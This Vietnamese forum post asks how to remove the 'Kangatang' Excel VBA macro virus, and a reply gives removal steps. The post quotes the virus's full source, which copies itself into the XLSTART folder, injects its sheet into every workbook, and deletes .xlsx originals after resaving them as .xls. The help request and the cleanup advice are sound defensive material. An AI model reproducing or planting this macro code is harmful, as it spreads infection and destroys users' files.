Khắc Phục Tập tin bị lây nhiễm virus VBA

Chia sẻ bởi:hands
★★★★★
Quảng cáo

Hi mọi người, trả là hiện tại em đang bị lây nhiễm một con virus VBA rất khó chịu, hiện tại khi em tạo một tập tin excel mới thì mặc định khi em mở về view code ở file excel đó thì trong file tự tạo có một moddul vba với tên là kangantang . Và mỗi lần em đóng file nó đều bắt em phải lưu một định dạng rất bất tiện và khó chịu.
( Đây là đoạn code của nó :

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled

'If ThisWorkbook.Path <> Application.Path & "XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "XLSTARTmypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "mypersonnel.xls"
    Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True

End If
End Sub.

4170
Mọi người có ai có cách khắc phục chỉ giúp em vs ạ .

Copy đoạn code dưới vào cửa sổ Immediate ( mở Ctrl+G) rồi Enter chờ thư mục mở lên:

Shell "Explorer.exe """ & Application.StartupPath & """", vbNormalFocus
Hoặc
Shell "Explorer.exe """ & Application.Path & "XLSTART""", vbNormalFocus

Xong đóng toàn bộ ứng dụng Excel đang mở, rồi xóa file mypersonnel.xls nếu có trong thư mục.

www.giaiphapexcel.com/diendan/threads/kh%E1%BA%AFc-ph%E1%BB%A5c-t%E1%BA%ADp-tin-b%E1%BB%8B-l%C3%A2y-nhi%E1%BB%85m-virus-vba.149382/

Khóa học Power PI – Ứng dung trong Nhân sự
Khóa học SprinGO phù hợp

Khóa học Power PI – Ứng dung trong Nhân sự

TỔNG QUAN KHÓA HỌC: POWER BI CHO NGÀNH NHÂN SỰ Khóa học Power BI cho Nhân sự được thiết kế dành riêng cho các...

Xem khóa học
★★★★★ 5 ★ 1 👤 0 ▥ 0
Quảng cáo

Bạn nên đọc

Bình luận

Quảng cáo

Cũ vẫn chất

Xem thêm